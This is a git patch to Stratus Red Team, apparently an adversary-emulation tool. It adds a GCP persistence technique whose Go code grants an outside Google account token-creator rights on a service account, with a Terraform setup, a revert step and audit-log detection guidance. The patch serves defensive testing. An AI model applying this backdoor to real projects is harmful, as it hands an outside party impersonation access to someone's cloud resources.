From 53140a3c689896da90d37f2785ee55aa49bb46c4 Mon Sep 17 00:00:00 2001 From: Christophe Tafani-Dereeper Date: Mon, 26 Jun 2023 16:00:04 +0200 Subject: [PATCH] New GCP attack: Backdooring a service account through its IAM policy (#373) * New GCP attack: Backdooring a service account through its IAM policy * terraform lint * Fix staticcheck complaining about fmt.Println(fmt.Sprintf()) --- ...istence.backdoor-service-account-policy.md | 87 ++++++++++ .../gcp.persistence.invite-external-user.md | 2 +- docs/attack-techniques/GCP/index.md | 2 + docs/attack-techniques/list.md | 1 + docs/index.yaml | 7 + .../backdoor-service-account-policy/main.go | 152 ++++++++++++++++++ .../backdoor-service-account-policy/main.tf | 36 +++++ v2/internal/attacktechniques/main.go | 1 + 8 files changed, 287 insertions(+), 1 deletion(-) create mode 100755 docs/attack-techniques/GCP/gcp.persistence.backdoor-service-account-policy.md create mode 100644 v2/internal/attacktechniques/gcp/persistence/backdoor-service-account-policy/main.go create mode 100644 v2/internal/attacktechniques/gcp/persistence/backdoor-service-account-policy/main.tf diff --git a/docs/attack-techniques/GCP/gcp.persistence.backdoor-service-account-policy.md b/docs/attack-techniques/GCP/gcp.persistence.backdoor-service-account-policy.md new file mode 100755 index 000000000..48651ee61 --- /dev/null +++ b/docs/attack-techniques/GCP/gcp.persistence.backdoor-service-account-policy.md @@ -0,0 +1,87 @@ +--- +title: Backdoor a GCP Service Account through its IAM Policy +--- + +# Backdoor a GCP Service Account through its IAM Policy + + + idempotent + +Platform: GCP + +## MITRE ATT&CK Tactics + + +- Persistence + +## Description + + +Backdoors a GCP service account by granting a fictitious attacker the ability to impersonate it and generate access temporary tokens for it. + +Warm-up: + +- Create a service account + +Detonation: + +- Backdoor the IAM policy of the service account to grant the role iam.serviceAccountTokenCreator to a fictitious attacker + +Note that in GCP (contrary to AWS), the "IAM policy" of a service account is not granting permissions to the service account itself - rather, +it's a resource-based policy that grants permissions to other identities to impersonate the service account. + +!!! info + + Since the target e-mail must exist for this attack simulation to work, Stratus Red Team grants the role to stratusredteam@gmail.com by default. + This is a real Google account, owned by Stratus Red Team maintainers and that is not used for any other purpose than this attack simulation. However, you can override + this behavior by setting the environment variable STRATUS_RED_TEAM_ATTACKER_EMAIL, for instance: + + ```bash + export STRATUS_RED_TEAM_ATTACKER_EMAIL="your-own-gmail-account@gmail.com" + stratus detonate gcp.persistence.backdoor-service-account-policy + ``` + + +## Instructions + +```bash title="Detonate with Stratus Red Team" +stratus detonate gcp.persistence.backdoor-service-account-policy +``` +## Detection + + +You can detect when the IAM policy of a service account is updated using the GCP Admin Audit Logs event google.iam.admin.v1.SetIAMPolicy (sample below, shortened for clarity). + +```json hl_lines="3 4 11 12 13 19 21" +{ + "protoPayload": { + "serviceName": "iam.googleapis.com", + "methodName": "google.iam.admin.v1.SetIAMPolicy", + "resourceName": "projects/-/serviceAccounts/123456789", + "serviceData": { + "@type": "type.googleapis.com/google.iam.v1.logging.AuditData", + "policyDelta": { + "bindingDeltas": [ + { + "action": "ADD", + "role": "roles/iam.serviceAccountTokenCreator", + "member": "user:stratusredteam@gmail.com" + } + ] + } + }, + "resource": { + "type": "service_account", + "labels": { + "email_id": "stratus-red-team-bip-sa@victim-project.iam.gserviceaccount.com", + "project_id": "victim-project" + } + }, + "logName": "projects/victim-project/logs/cloudaudit.googleapis.com%2Factivity", +} +``` + +When someone impersonates a service account, the GCP Admin Audit Logs event google.iam.credentials.v1.GenerateAccessToken is emitted if you explicitly +enabled DATA_READ events in the audit logs configuration of your project. For more information, see [Impersonate GCP Service Accounts](https://stratus-red-team.cloud/attack-techniques/GCP/gcp.privilege-escalation.impersonate-service-accounts/#detection). + + diff --git a/docs/attack-techniques/GCP/gcp.persistence.invite-external-user.md b/docs/attack-techniques/GCP/gcp.persistence.invite-external-user.md index 4b4aa1529..8118d203f 100755 --- a/docs/attack-techniques/GCP/gcp.persistence.invite-external-user.md +++ b/docs/attack-techniques/GCP/gcp.persistence.invite-external-user.md @@ -23,7 +23,7 @@ Persists in the GCP project by inviting an external (fictitious) user to the pro Detonation: -- Updates the project IAM policy to grant the attacker account the role of roles/editor +- Updates the project IAM policy to grant the attacker account the role roles/editor !!! note diff --git a/docs/attack-techniques/GCP/index.md b/docs/attack-techniques/GCP/index.md index 9672b5826..7b8f57ca1 100755 --- a/docs/attack-techniques/GCP/index.md +++ b/docs/attack-techniques/GCP/index.md @@ -11,6 +11,8 @@ Note that some Stratus attack techniques may correspond to more than a single AT ## Persistence +- [Backdoor a GCP Service Account through its IAM Policy](./gcp.persistence.backdoor-service-account-policy.md) + - [Create an Admin GCP Service Account](./gcp.persistence.create-admin-service-account.md) - [Create a GCP Service Account Key](./gcp.persistence.create-service-account-key.md) diff --git a/docs/attack-techniques/list.md b/docs/attack-techniques/list.md index b2c88f8b6..bcc9ee86b 100755 --- a/docs/attack-techniques/list.md +++ b/docs/attack-techniques/list.md @@ -40,6 +40,7 @@ This page contains the list of all Stratus Attack Techniques. | [Execute Commands on Virtual Machine using Run Command](./azure/azure.execution.vm-run-command.md) | [Azure](./azure/index.md) | Execution | | [Export Disk Through SAS URL](./azure/azure.exfiltration.disk-export.md) | [Azure](./azure/index.md) | Exfiltration | | [Exfiltrate Compute Disk by sharing it](./GCP/gcp.exfiltration.share-compute-disk.md) | [GCP](./GCP/index.md) | Exfiltration | +| [Backdoor a GCP Service Account through its IAM Policy](./GCP/gcp.persistence.backdoor-service-account-policy.md) | [GCP](./GCP/index.md) | Persistence | | [Create an Admin GCP Service Account](./GCP/gcp.persistence.create-admin-service-account.md) | [GCP](./GCP/index.md) | Persistence, Privilege Escalation | | [Create a GCP Service Account Key](./GCP/gcp.persistence.create-service-account-key.md) | [GCP](./GCP/index.md) | Persistence, Privilege Escalation | | [Invite an External User to a GCP Project](./GCP/gcp.persistence.invite-external-user.md) | [GCP](./GCP/index.md) | Persistence | diff --git a/docs/index.yaml b/docs/index.yaml index 794437c77..cff076172 100644 --- a/docs/index.yaml +++ b/docs/index.yaml @@ -251,6 +251,13 @@ GCP: platform: GCP isIdempotent: true Persistence: + - id: gcp.persistence.backdoor-service-account-policy + name: Backdoor a GCP Service Account through its IAM Policy + isSlow: false + mitreAttackTactics: + - Persistence + platform: GCP + isIdempotent: true - id: gcp.persistence.create-admin-service-account name: Create an Admin GCP Service Account isSlow: false diff --git a/v2/internal/attacktechniques/gcp/persistence/backdoor-service-account-policy/main.go b/v2/internal/attacktechniques/gcp/persistence/backdoor-service-account-policy/main.go new file mode 100644 index 000000000..2af9aa1fc --- /dev/null +++ b/v2/internal/attacktechniques/gcp/persistence/backdoor-service-account-policy/main.go @@ -0,0 +1,152 @@ +package gcp + +import ( + "context" + _ "embed" + "errors" + "fmt" + "log" + "os" + "strings" + + "github.com/datadog/stratus-red-team/v2/pkg/stratus" + "github.com/datadog/stratus-red-team/v2/pkg/stratus/mitreattack" + iam "google.golang.org/api/iam/v1" +) + +//go:embed main.tf +var tf []byte + +const codeBlock = "```" +const AttackTechniqueId = "gcp.persistence.backdoor-service-account-policy" + +func init() { + stratus.GetRegistry().RegisterAttackTechnique(&stratus.AttackTechnique{ + ID: AttackTechniqueId, + FriendlyName: "Backdoor a GCP Service Account through its IAM Policy", + Description: ` +Backdoors a GCP service account by granting a fictitious attacker the ability to impersonate it and generate access temporary tokens for it. + +Warm-up: + +- Create a service account + +Detonation: + +- Backdoor the IAM policy of the service account to grant the role ` + RoleToGrant + ` to a fictitious attacker + +Note that in GCP (contrary to AWS), the "IAM policy" of a service account is not granting permissions to the service account itself - rather, +it's a resource-based policy that grants permissions to other identities to impersonate the service account. + +!!! info + + Since the target e-mail must exist for this attack simulation to work, Stratus Red Team grants the role to ` + DefaultFictitiousAttackerEmail + ` by default. + This is a real Google account, owned by Stratus Red Team maintainers and that is not used for any other purpose than this attack simulation. However, you can override + this behavior by setting the environment variable ` + AttackerEmailEnvVarKey + `, for instance: + + ` + codeBlock + `bash + export ` + AttackerEmailEnvVarKey + `="your-own-gmail-account@gmail.com" + stratus detonate ` + AttackTechniqueId + ` + ` + codeBlock + ` +`, + Detection: ` +You can detect when the IAM policy of a service account is updated using the GCP Admin Audit Logs event google.iam.admin.v1.SetIAMPolicy (sample below, shortened for clarity). + +` + codeBlock + `json hl_lines="3 4 11 12 13 19 21" +{ + "protoPayload": { + "serviceName": "iam.googleapis.com", + "methodName": "google.iam.admin.v1.SetIAMPolicy", + "resourceName": "projects/-/serviceAccounts/123456789", + "serviceData": { + "@type": "type.googleapis.com/google.iam.v1.logging.AuditData", + "policyDelta": { + "bindingDeltas": [ + { + "action": "ADD", + "role": "roles/iam.serviceAccountTokenCreator", + "member": "user:stratusredteam@gmail.com" + } + ] + } + }, + "resource": { + "type": "service_account", + "labels": { + "email_id": "stratus-red-team-bip-sa@victim-project.iam.gserviceaccount.com", + "project_id": "victim-project" + } + }, + "logName": "projects/victim-project/logs/cloudaudit.googleapis.com%2Factivity", +} +` + codeBlock + ` + +When someone impersonates a service account, the GCP Admin Audit Logs event google.iam.credentials.v1.GenerateAccessToken is emitted if you explicitly +enabled DATA_READ events in the audit logs configuration of your project. For more information, see [Impersonate GCP Service Accounts](https://stratus-red-team.cloud/attack-techniques/GCP/gcp.privilege-escalation.impersonate-service-accounts/#detection). +`, + Platform: stratus.GCP, + IsIdempotent: true, + MitreAttackTactics: []mitreattack.Tactic{mitreattack.Persistence}, + PrerequisitesTerraformCode: tf, + Detonate: detonate, + Revert: revert, + }) +} + +const DefaultFictitiousAttackerEmail = "stratusredteam@gmail.com" +const AttackerEmailEnvVarKey = "STRATUS_RED_TEAM_ATTACKER_EMAIL" +const RoleToGrant = "iam.serviceAccountTokenCreator" + +func detonate(params map[string]string, providers stratus.CloudProviders) error { + attackerPrincipal := getAttackerPrincipal() + policy := &iam.Policy{ + Bindings: []*iam.Binding{ + { + Role: fmt.Sprintf("roles/%s", RoleToGrant), + Members: []string{attackerPrincipal}, + }, + }, + } + log.Println("Granting " + attackerPrincipal + " " + RoleToGrant + " on " + params["sa_email"] + " through its IAM policy") + err := setServiceAccountPolicy(providers, params["sa_email"], params["sa_id"], policy) + if err != nil { + return err + } + log.Println("The attacker can now impersonate the service account and generate access tokens for it, for instance using the following command:") + log.Printf("gcloud --impersonate-service-account=%s storage ls\n", params["sa_email"]) + return nil +} + +func revert(params map[string]string, providers stratus.CloudProviders) error { + policy := &iam.Policy{ + Bindings: []*iam.Binding{}, + } + log.Println("Reverting the IAM policy of " + params["sa_email"]) + return setServiceAccountPolicy(providers, params["sa_email"], params["sa_id"], policy) +} + +func setServiceAccountPolicy(providers stratus.CloudProviders, saEmail string, saId string, policy *iam.Policy) error { + + ctx := context.Background() + service, err := iam.NewService(ctx, providers.GCP().Options()) + if err != nil { + return errors.New("Error instantiating GCP SDK Client: " + err.Error()) + } + + _, err = service.Projects.ServiceAccounts.SetIamPolicy(saId, &iam.SetIamPolicyRequest{Policy: policy}).Do() + + if err != nil { + return fmt.Errorf("unable to set IAM policy of %s: %w", saEmail, err) + } + + return nil +} + +func getAttackerPrincipal() string { + const UserPrefix = "user:" + if attackerEmail := os.Getenv(AttackerEmailEnvVarKey); attackerEmail != "" { + return UserPrefix + strings.ToLower(attackerEmail) + } else { + return UserPrefix + DefaultFictitiousAttackerEmail + } +} diff --git a/v2/internal/attacktechniques/gcp/persistence/backdoor-service-account-policy/main.tf b/v2/internal/attacktechniques/gcp/persistence/backdoor-service-account-policy/main.tf new file mode 100644 index 000000000..27f78f163 --- /dev/null +++ b/v2/internal/attacktechniques/gcp/persistence/backdoor-service-account-policy/main.tf @@ -0,0 +1,36 @@ +terraform { + required_providers { + google = { + source = "hashicorp/google" + version = "~> 4.28.0" + } + } +} + +data "google_project" "current" {} + +locals { + resource_prefix = "stratus-red-team-bip" # stratus red team backdoor iam policy +} + +resource "google_service_account" "service_account" { + account_id = format("%s-sa", local.resource_prefix) +} + +resource "google_project_iam_member" "binding" { + project = data.google_project.current.project_id + role = "roles/viewer" + member = "serviceAccount:${google_service_account.service_account.email}" +} + +output "sa_email" { + value = google_service_account.service_account.email +} + +output "sa_id" { + value = google_service_account.service_account.id +} + +output "display" { + value = format("Service account %s ready", google_service_account.service_account.email) +} \ No newline at end of file diff --git a/v2/internal/attacktechniques/main.go b/v2/internal/attacktechniques/main.go index 1a068fec2..b66123d28 100644 --- a/v2/internal/attacktechniques/main.go +++ b/v2/internal/attacktechniques/main.go @@ -32,6 +32,7 @@ import ( _ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/azure/execution/vm-run-command" _ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/azure/exfiltration/disk-export" _ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/gcp/exfiltration/share-compute-disk" + _ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/gcp/persistence/backdoor-service-account-policy" _ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/gcp/persistence/create-admin-service-account" _ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/gcp/persistence/create-service-account-key" _ "github.com/datadog/stratus-red-team/v2/internal/attacktechniques/gcp/persistence/invite-external-user"